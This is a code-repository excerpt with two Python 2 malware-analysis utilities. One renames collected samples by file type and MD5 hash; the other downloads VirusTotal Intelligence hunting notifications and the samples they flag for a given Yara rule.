| # 14 | # for example, the following file: 15 | # w1.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit 16 | # MD5 (w1.exe) = 3f11c42687d09d4a56c715f671143a58 17 | # would become `pe32-3f11c42687d09d4a56c715f671143a58` 18 | ## 19 | 20 | import os 21 | import sys 22 | import hashlib 23 | import datetime 24 | import argparse 25 | import shutil 26 | 27 | 28 | file_types = { 29 | 'ascii': 'ASCII text', 30 | 'zip': 'Zip archive data, at least v2.0 to extract', 31 | 'dll': 'PE32 executable for MS Windows (DLL)', 32 | 'pe32': 'PE32 executable for MS Windows (GUI)', 33 | 'elf': 'ELF ', 34 | 'html': 'HTML document text', 35 | 'macho': 'Mach-O', 36 | 'pcap': 'tcpdump capture file', 37 | 'doc': 'CDF V2 Document', 38 | 'data': 'data', 39 | 'text': 'ISO-8859 text', 40 | 'error': 'ERROR: ' 41 | } 42 | 43 | 44 | def is_valid(file_path): 45 | if os.path.exists(file_path): 46 | if os.path.isfile(file_path): 47 | if os.path.getsize(file_path) > 0: 48 | return True 49 | return False 50 | 51 | 52 | def get_filetype(f): 53 | try: 54 | import magic 55 | ms = magic.open(magic.MAGIC_NONE) 56 | ms.load() 57 | file_type = ms.buffer(f) 58 | except: 59 | try: 60 | import magic 61 | file_type = magic.from_buffer(f) 62 | except: 63 | import commands 64 | file_type = commands.getoutput('file %s' % f).split(f+':')[1] 65 | finally: 66 | try: 67 | ms.close() 68 | except: 69 | pass 70 | return file_type 71 | 72 | 73 | def get_md5(f): 74 | fin = open(f, 'rb') 75 | m = hashlib.md5() 76 | while True: 77 | data = fin.read(8192) 78 | if not data: 79 | break 80 | m.update(data) 81 | return m.hexdigest() 82 | 83 | 84 | def rename_file(file_path): 85 | md5 = get_md5(file_path) 86 | ftype = get_filetype(file_path) 87 | short_type = '' 88 | 89 | for key, value in file_types.iteritems(): 90 | if value in ftype.strip(): 91 | short_type = key 92 | if short_type == '': 93 | short_type = 'unk' 94 | 95 | new_name = short_type + '_' + md5 96 | sample_path = os.path.join(storage_path, new_name) 97 | 98 | if os.path.exists(sample_path): 99 | print '%s all ready stored!' % sample_path 100 | 101 | else: 102 | try: 103 | shutil.copyfile(file_path, sample_path) 104 | if os.path.exists(sample_path): 105 | print '\noriginal: %s' % file_path 106 | print 'new path: %s\n' % sample_path 107 | os.remove(file_path) 108 | else: 109 | print '\n(error) failed to copy file:' 110 | print ' src: %s' % file_path 111 | print ' dst: %s\n' % sample_path 112 | except: 113 | print '(error) stuff broke.' 114 | 115 | 116 | if __name__ == '__main__': 117 | parser = argparse.ArgumentParser(description='rename malware samples by file type and md5 hash') 118 | parser.add_argument('-f', '--file', help='rename individual file', required=False) 119 | parser.add_argument('-d', '--dir', help='rename all files in directory', required=False) 120 | parser.add_argument('-p', '--path', help='move files to this path (default: UTC timestamp created in cwd)', required=False) 121 | args = parser.parse_args() 122 | 123 | dt = datetime.datetime.isoformat(datetime.datetime.now()).split('T')[0] 124 | storage_path = dt 125 | if args.path: 126 | storage_path = args.path 127 | else: 128 | os.mkdir(storage_path) 129 | 130 | if args.dir: 131 | if args.file: 132 | print 'the flags --file and --dir may not be used together.' 133 | sys.exit(1) 134 | if os.path.exists(os.path.abspath(args.dir)): 135 | dir_name = (args.dir).rstrip('/') 136 | expanded = os.listdir(dir_name) 137 | for path in expanded: 138 | full_path = dir_name + '/' + path 139 | if is_valid(full_path): 140 | rename_file(full_path) 141 | else: 142 | print '(*) skipping %s' % full_path 143 | pass 144 | 145 | if args.file: 146 | if is_valid(os.path.abspath(args.file)): 147 | rename_file(os.path.abspath(args.file)) 148 | else: 149 | print '(error) file %s either does not exist or has a size of zero.' % args.file 150 | sys.exit(1) 151 | -------------------------------------------------------------------------------- /vti-notifications.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | ## 3 | # Notifications parser and downloader for VirusTotal Intelligence 4 | # This can be used to download results data and samples for VTI notifications of a 5 | # specific Yara ruleset name. 6 | # -- 7 | # adam m. swanda 8 | # https://github.com/deadbits/malware-analysis-scripts 9 | # http://www.deadbits.org 10 | ## 11 | 12 | import os 13 | import sys 14 | import requests 15 | import json 16 | import time 17 | import argparse 18 | import time 19 | import multiprocessing 20 | 21 | 22 | def get_notifications(rule_name): 23 | """ Get list of VTI Hunting notifications by Yara signature name 24 | 25 | @param rule_name: Yara signature to find 26 | @type string 27 | @return results: all found notifications for Yara signature 28 | @rtype list 29 | """ 30 | results = [] 31 | req = requests.get(opts['feed'] + opts['api']) 32 | if req.status_code == 200: 33 | data = req.json() 34 | else: 35 | print 'error: \tfailed to send HTTP request (%s%s)' % (opts['feed'], opts['api']) 36 | print 'status:\t%d' % req.status_code 37 | return results 38 | 39 | for entry in data['notifications']: 40 | if entry['ruleset_name'] == rule_name: 41 | results.append(entry) 42 | 43 | return results 44 | 45 | 46 | def download_sample(_hash): 47 | """ Download an individual sample from VTI by hash 48 | 49 | @param hash: hash of file to download 50 | @type string 51 | """ 52 | download_path = storage_dir + '/downloads/%s' % _hash 53 | download_url = opts['download'] + _hash + '&apikey=' + opts['api'] 54 | print '\t%s' % _hash 55 | with open(download_path, 'wb') as fout: 56 | req = requests.get(download_url, stream=True) 57 | fout.writelines(req.iter_content(1024)) 58 | if os.path.exists(download_path): 59 | return True 60 | return False 61 | 62 | 63 | def create_storage(storage_dir): 64 | if not os.path.exists(storage_dir): 65 | print '+ creating storage directory (%s)' % storage_dir 66 | os.mkdir(storage_dir) 67 | if not os.path.exists(storage_dir + '/downloads'): 68 | print '+ creating download directory (%s/downloads)' % storage_dir 69 | os.mkdir(storage_dir + '/downloads') 70 | 71 | 72 | if __name__ == '__main__': 73 | parser = argparse.ArgumentParser() 74 | parser.add_argument('-s', '--storage', help='directory to store data downloaded samples', action='store', default='./data', required=False) 75 | parser.add_argument('-d', '--download', help='download samples from notifications', action='store_true', default=False, required=False) 76 | parser.add_argument('-r', '--rule', help='rule name to fetch results for', action='store', required=True) 77 | parser.add_argument('-j', '--json', help='save notifications json data to disk', default=True, action='store_true', required=False) 78 | parser.add_argument('-a', '--apikey', help='virustotal API key', action='store', required=True) 79 | parser.add_argument('-c', '--clear', help='clear notifications from VTI after processing', action='store_true', default=False, required=False) 80 | args = parser.parse_args() 81 | 82 | do_download = args.download 83 | do_clear = args.clear 84 | rule_name = args.rule 85 | keep_json = args.json 86 | storage_dir = args.storage 87 | api_key = args.apikey 88 | 89 | opts = { 90 | 'api': api_key, 91 | 'feed': 'https://www.virustotal.com/intelligence/hunting/notifications-feed/?key=', 92 | 'download': 'https://www.virustotal.com/intelligence/download/?hash=' 93 | } 94 | 95 | create_storage(storage_dir) 96 | 97 | print '+ checking for new notifications ...' 98 | found_notifications = get_notifications(rule_name) 99 | if len(found_notifications) == 0: 100 | print 'warning: no new notifications found for rule %s' % rule_name 101 | sys.exit(0) 102 | 103 | print '\n+ found %d new notifications for rule %s' % (len(found_notifications), rule_name) 104 | 105 | if keep_json: 106 | print '+ saving json data to %s/notifications.json' % storage_dir 107 | with open(storage_dir + '/notifications.json', 'w') as fp: 108 | json.dump(found_notifications, fp, indent=4) 109 | 110 | if do_download: 111 | hashes = [] 112 | time.sleep(1) 113 | for entry in found_notifications: 114 | hashes.append(entry['md5']) 115 | print '\n%d samples queued for download ...' % len(hashes) 116 | print '+ downloading: ' 117 | if len(hashes) > 10: 118 | pool = multiprocessing.Pool(processes=10) 119 | results = pool.map(download_sample, hashes) 120 | else: 121 | for _hash in hashes: 122 | download_sample(_hash) 123 | 124 | 125 | if do_clear: 126 | print '- feature not yet implemented!' 127 | 128 | --------------------------------------------------------------------------------